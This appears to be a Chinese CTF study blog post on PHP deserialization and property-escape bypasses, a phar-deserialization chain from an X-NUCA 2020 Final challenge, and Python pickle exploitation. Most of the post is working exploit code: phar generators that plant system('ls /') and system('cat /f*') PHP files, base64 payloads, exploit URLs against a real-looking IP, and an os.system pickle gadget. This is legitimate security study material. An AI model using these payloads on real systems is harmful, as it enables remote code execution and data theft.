    // public function process() {
    //     if($this->op == "1") {
    //         $this->write();
    //     } else if($this->op == "2") {
    //         $res = $this->read();
    //         $this->output($res);
    //     } else {
    //         $this->output("Bad Hacker!");
    //     }
    // }

    // private function write() {
    //     if(isset($this->filename) && isset($this->content)) {
    //         if(strlen((string)$this->content) > 100) {
    //             $this->output("Too long!");
    //             die();
    //         }
    //         $res = file_put_contents($this->filename, $this->content);
    //         if($res) $this->output("Successful!");
    //         else $this->output("Failed!");
    //     } else {
    //         $this->output("Failed!");
    //     }
    // }

    // private function read() {
    //     $res = "";
    //     if(isset($this->filename)) {
    //         $res = file_get_contents($this->filename);
    //     }
    //     return $res;
    // }

    // private function output($s) {
    //     echo "[Result]: <br>";
    //     echo $s;
    // }

    // function __destruct() {
    //     if($this->op === "2")
    //         $this->op = "1";
    //     $this->content = "";
    //     $this->process();
    // }

}

// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围

$ser = serialize(new FileHandler);

echo $ser;
echo "\n";

function decorate($s){
    $arr = explode(':',$s);
    for($i = 0; $i < count($arr); $i++){
        if(strpos($arr[$i],"\0") != false){
            echo $arr[$i]."\n";
            echo $arr[$i-2]."\n";
        }
    }
}

decorate($ser);



// function is_valid($s) {
//     for($i = 0; $i < strlen($s); $i++)
//         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
//             return false;
//     return true;
// }

// if(isset($_GET{'str'})) {

//     $str = (string)$_GET['str'];
//     if(is_valid($str)) {
//         $obj = unserialize($str);
//     }

// }

输出:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
"*op";i
{s
"*filename";s
2;s
"*content";N;}
"flag.php";s

发现确实找到了小s 然后再写一个字符替换

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op = 2;
    protected $filename = 'flag.php';
    protected $content;

    // function __construct() {
    //     $op = "1";
    //     $filename = "/tmp/tmpfile";
    //     $content = "Hello World!";
    //     $this->process();
    // }

    // public function process() {
    //     if($this->op == "1") {
    //         $this->write();
    //     } else if($this->op == "2") {
    //         $res = $this->read();
    //         $this->output($res);
    //     } else {
    //         $this->output("Bad Hacker!");
    //     }
    // }

    // private function write() {
    //     if(isset($this->filename) && isset($this->content)) {
    //         if(strlen((string)$this->content) > 100) {
    //             $this->output("Too long!");
    //             die();
    //         }
    //         $res = file_put_contents($this->filename, $this->content);
    //         if($res) $this->output("Successful!");
    //         else $this->output("Failed!");
    //     } else {
    //         $this->output("Failed!");
    //     }
    // }

    // private function read() {
    //     $res = "";
    //     if(isset($this->filename)) {
    //         $res = file_get_contents($this->filename);
    //     }
    //     return $res;
    // }

    // private function output($s) {
    //     echo "[Result]: <br>";
    //     echo $s;
    // }

    // function __destruct() {
    //     if($this->op === "2")
    //         $this->op = "1";
    //     $this->content = "";
    //     $this->process();
    // }

}

// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围

$ser = serialize(new FileHandler);

echo $ser;
echo "\n";

function decorate($s){
    $arr = explode(':',$s);
    for($i = 0; $i < count($arr); $i++){
        if(strpos($arr[$i],"\0") != false){
            echo $arr[$i]."\n";
            echo $arr[$i-2]."\n";
            $arr[$i-2] = str_replace('s','S',$arr[$i-2]);
            $arr[$i] = str_replace("\0",'\00',$arr[$i]); //注意区分单引号双引号
            echo "替换后:".$arr[$i]."\n";
            echo "替换后:".$arr[$i-2]."\n";
        }
    }
    //拼接回来
    return join(':',$arr);
}

echo decorate($ser);



// function is_valid($s) {
//     for($i = 0; $i < strlen($s); $i++)
//         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
//             return false;
//     return true;
// }

// if(isset($_GET{'str'})) {

//     $str = (string)$_GET['str'];
//     if(is_valid($str)) {
//         $obj = unserialize($str);
//     }

// }

输出:

O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:8:"flag.php";s:10:" * content";N;}
" * op";i
{s
替换后:"\00*\00op";i
替换后:{S
" * filename";s
2;s
替换后:"\00*\00filename";s
替换后:2;S
" * content";N;}
"flag.php";s
替换后:"\00*\00content";N;}
替换后:"flag.php";S
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}

之所以会产生这些不可见0字符 是因为protected和private属性的原因导致 所以需要我们进行替换

传入后查看页面源代码成功获取flag:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GnFhdfW6-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230719083811161.png)]

同时这道题目也可以装瞎 把protected的属性改成public进行攻击

但是当时这道题目在读取文件析构函数切目录的时候不在当前目录 需要获取其绝对路径进行读取

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public $op = 2;
    public $filename = '/proc/self/cmdline';
    public $content;

}

$ser = serialize(new FileHandler);
echo $ser;

第二种方法 提前结束 快速析构

把属性值修改

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

改为

O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

或者删除结尾的大括号

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;

phar例题:

X-NUCA 2020 Final

  1. 变量覆盖读template.php
  2. 变量覆盖写入无损phar文件
  3. 变量覆盖触发phar反序列化

题目:

<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

//                key     value
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');


//看似多余的东西往往是解题的关键
if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
       //  判断tp是否为template中的key
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    //读取文件
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?> 

小技巧: 在源代码中看似没有一点用处的东西可能会成为解题的关键 比如在这里面存在着extract方法,可以用于变量覆盖

分析题目我们发现 想要读取文件 只能是在template数组中进行读取 但是其内容已经写好固定了,所以需要我们对template数组进行变量覆盖

对var数组进行操作 去读取template.php文件的内容

​ key value

array(‘template’ => array(‘tp1’ => ‘template.php’))

把template数组中的tp1这个key 的 value换成 template.php

即传参?var[template][tp1]=template.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FYn4xakS-1689937146844)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720161827369.png)]

对upload后面的开始访问:http://122.114.252.87:1120/uploads/7cddc639132e5953bf969cc3c9b08fd7/67c8a41ae1c9406576160aaf0370816e.html

得到一段php代码

<?php
class Template{
	public $content;
	public $pattern;
	public $suffix;

	public function __construct($content){
		$this->content = $content;
		$this->pattern = "/{{([a-z]+)}}/";
		$this->suffix = ".html";
	}

	public function __destruct() {
		$this->render();
	}
	public function render() {
        //必须利用里面的break跳出死循环 才能到危险函数
		while (True) {
			if(preg_match($this->pattern, $this->content, $matches)!==1) 
				break;
			global ${$matches[1]};
			
			if(isset(${$matches[1]})) {
				$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
			} 
			else{
				break;
			}
		}
        //suffic的长度必须大于5
		if(strlen($this->suffix)>5) {
			echo "error suffix";
			die();
		}
		$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        //危险函数 需要走过来嗷
		file_put_contents($filename, $this->content);
		echo "Your html file is in " . $filename;
	}
}

?>

因为在这个类中存在获取文件的方法 但是没有反序列化的途径 所以很明显嗷 这是个phar的问题

根据phar的条件进行解题探索

file_put_contents: phar可利用的函数

先构造pop链生成phar文件

本地测试时注意修改我们的php.ini的配置文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nT0j6xSU-1689937146845)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720173305736.png)]

避大坑!!!! 可能我们修改了之后 但是在vscode中无法操作成功 原因在于版本不匹配

姿势1:修改ini之后 直接在本地访问该网页 然后就会在同级目录生成对应文件

姿势2:在cmd中输入php -v查看一下电脑环境的默认php版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YwHfqLt7-1689937146846)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720191437876.png)]

然后在phpStudy中修改对于版本的ini文件进行访问

想要file_get_contents读取到我们的phar.phar的内容有两种方法:

  1. file_get_contents可以发起http请求 只需要我们把phar文件写到服务器上就可以
  2. file_get_contents读取data://协议

data://的使用方式:

首先构造好反序列化的payload 然后在尾部添加上phar的八股文

<?php
class Template{
	public $content = "<?php system('ls');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?> 

这样执行成功后会在本地生成一个phar的文件

然后我们读取里面的信息

<?php
$ph = file_get_contents('phar.phar');
echo $ph."\n";   //很多乱码 所以用base64加密一下
echo base64_encode($ph);
?>

out:

GIF89a<?php __HALT_COMPILER(); ?>
�fO:8:"Template":3:{s:7:"content";s:21:"<?php system('ls');?>";s:7:"pattern";N;s:6:"suffix";s:4:".php";}test.txty�d~ضtest�jKn' Ii�Fi۶� ޅF�GBMB
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=

data读取:

data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=

那么现在我们如何让题目所在服务器读取我们的data?可以回想到该题目的第一个界面

我们使用变量覆盖的方法读取内容 !!注意嗷 一定要url编码一下哈

http://122.114.252.87:1120/?var[template][tp1]=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CR0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5%2F2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI%3D&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4sEZNd8O-1689937146847)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720194145648.png)]

写入成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GpoeUYlL-1689937146847)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720194233782.png)]

触发phar:

phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/6c50d8d7eaa92dc4998351838da62dcc.html

继续使用刚刚的file_get_contents函数加变量覆盖进行读取

http://122.114.252.87:1120/?var[template][tp1]=phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fuploads%2F7cddc639132e5953bf969cc3c9b08fd7%2F6c50d8d7eaa92dc4998351838da62dcc.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t9Nxgi8q-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720195229334.png)]

执行成功 成功获得php后缀

因为我的命令是ls 所以访问后结果是列出的内容

测试phpinfo

<?php
class Template{
	public $content = "<?php phpinfo();?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?> 

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqZAAAAAQAAABEAAAABAAAAAABjAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAALoiuWQEAAAADH5/2LYBAAAAAAAAdGVzdPzuNzRrPw2POwCmprLd6Oy5KqEDAgAAAEdCTUI=&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JdY2v6z1-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720200737330.png)]

测试根目录

<?php
class Template{
	public $content = "<?php system('ls /');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?> 

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqeAAAAAQAAABEAAAABAAAAAABoAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIzOiI8P3BocCBzeXN0ZW0oJ2xzIC8nKTs/PiI7czo3OiJwYXR0ZXJuIjtOO3M6Njoic3VmZml4IjtzOjQ6Ii5waHAiO30IAAAAdGVzdC50eHQEAAAA3yO5ZAQAAAAMfn/YtgEAAAAAAAB0ZXN0ytJDUfSL2VfkbJ2LEtfOtvBCIMUCAAAAR0JNQg==&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html&tp=tp1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gkdI1riv-1689937146848)(C:\Users\jayq\AppData\Roaming\Typora\typora-user-images\image-20230720201210491.png)]

获取flag

<?php
class Template{
	public $content = "<?php system('cat /f*');?>";
	public $pattern;
	public $suffix = ".php";

}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();  

?> 

http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqjAAAAAQAAABEAAAABAAAAAABtAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjI4OiI8P3BocCBzeXN0ZW0oJ2NhdCAvZmxhZycpOz8+IjtzOjc6InBhdHRlcm4iO047czo2OiJzdWZmaXgiO3M6NDoiLnBocCI7fQgAAAB0ZXN0LnR4dAQAAAB1JblkBAAAAAx+f9i2AQAAAAAAAHRlc3QyIp89T4AF5NafJYGx4f8/1grOagIAAABHQk1C&tp=tp1

/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html

http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html&tp=tp1

步骤是对的可能没有写flag嘿嘿 到此结束!

0720 Pickle反序列化

what is Pickle?

  • python的一个模块,内存中的东西因为断电等原因容易丢失,可以将对象以文件的形式存放在磁盘上 实现持久化存储

  • 只能在python中使用 import pickle

  • 序列化后的数据可读性非常差 人一般无法识别

  • cPickle模块是C语言实现的

序列化

pickle.dump(obj, file[,protocol])

如果加s dumps 返回字符串 否则是到文件中

序列化对象,将结果数据流写入到文件对象中

参数protocol是序列化模式,默认为0,表示以文本的形式序列化,还可以是1或2,表示以二进制的形式序列化

举例

import pickle

class People(object):
    def __init__(self, name="test"):
        self.name = name

    def say(self):
        print("Hello ! My friends")

a = People()
c = pickle.dumps(a)
print(c)

out: 很多不可见字符

b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x04test\x94sb.'

生成的规则涉及到PVM:用来解释字节码的解释引擎

反序列化

pickle.load(file)

如果加s dumps 返回字符串 否则是到文件中

反序列化对象。将文件中的数据解析为一个python对象;

需要注意:使用时需要让python能够找到类的定义 否则会报错

组成

Pickle是一门基于栈的编程语言,有不同的编写方式,本质是一个轻量级的PVM(在Java中等同于JVM,用于解释字节码的解释引擎)

有三个部分组成:

  1. 指令处理器(Instruction processor)

​ 从数据流读取操作码和参数,对其进行解释处理 指令处理器会循环执行整个过程,不断改变stack(堆栈)和memo(备忘录)区域的值 直到遇到‘.'这个结束符号。这时,最终停留在栈顶的值将会被作为反序列化对象返回。

  1. 栈区(stack)

​ 由python的列表list实现,作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果。

  1. 内存区(memo)

​ 由python的字典dict实现,可以看作是数据索引或者标记,为PVM的整个生命周期提供存储功能,即将反序列化完成的数据以key-value的形式储存在memo中以便使用。

在第一部分中的IP常用操作码:

  • c:读取本行的内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中
  • (:将标记对象(mark)压入栈中,用于确定命令执行的位置,搭配t指令一起使用以便产生一个元组
  • S: 后跟字符串在引号内 直到出现换行符 PVM将读取的内容压入栈中
  • t : 从栈中向外弹出数据,弹射顺序从栈顶一点点出到元组依次后排 直到弹出左括号 此时弹出内容形成一个元组 然后再压入栈中
  • R : 将之前压入栈中的元组(t)和可调用对象(c)全部弹出,然后将该元组作为可调用参数的对象并执行该对象。最终将结果压入到栈中。
  • . : 结束整个Pickle反序列化过程

举例:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GfyhQWMq-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\D823F75339136FEFE0981EBDC5EB497D.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VhehCryl-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\E9CE7CC7BB2AD3B5E4FAA31AA76F4EE6.jpg)]

漏洞利用:利用__reduce__()

在IP指令中R的作用与object.__reduce__()关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(必须为元组),然后调用该函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TcWzBiLI-1689937146849)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\2FC9F9BDBCAD1A7659D54E0E3F3A5B8A.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dBvTyijd-1689937146850)(C:\Users\jayq\AppData\Roaming\Tencent\QQ\Temp\0BE208B513D3CE83804AD47986C93AA1.jpg)]

实际代码:

import pickle
import os
class A(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a,))

o = A()
#序列化
test = pickle.dumps(o)
#反序列化
pickle.loads(test)

#本地运行结果即为电脑名称

做题步骤

  1. 找 pickle反序列化位点
  2. 本地重写reduce方法,生成反序列化字符串
  3. 触发反序列化

与php反序列化的区别

php中能做什么由网站里面的class类写得方法决定

但是pickle只要存在反序列化的位点就可以任意执行,因为本地可以重写reduce方法

例题

例:师傅们用题愉快哈~

我是哈皮,祝您每天嗨皮!我们下期再见~

;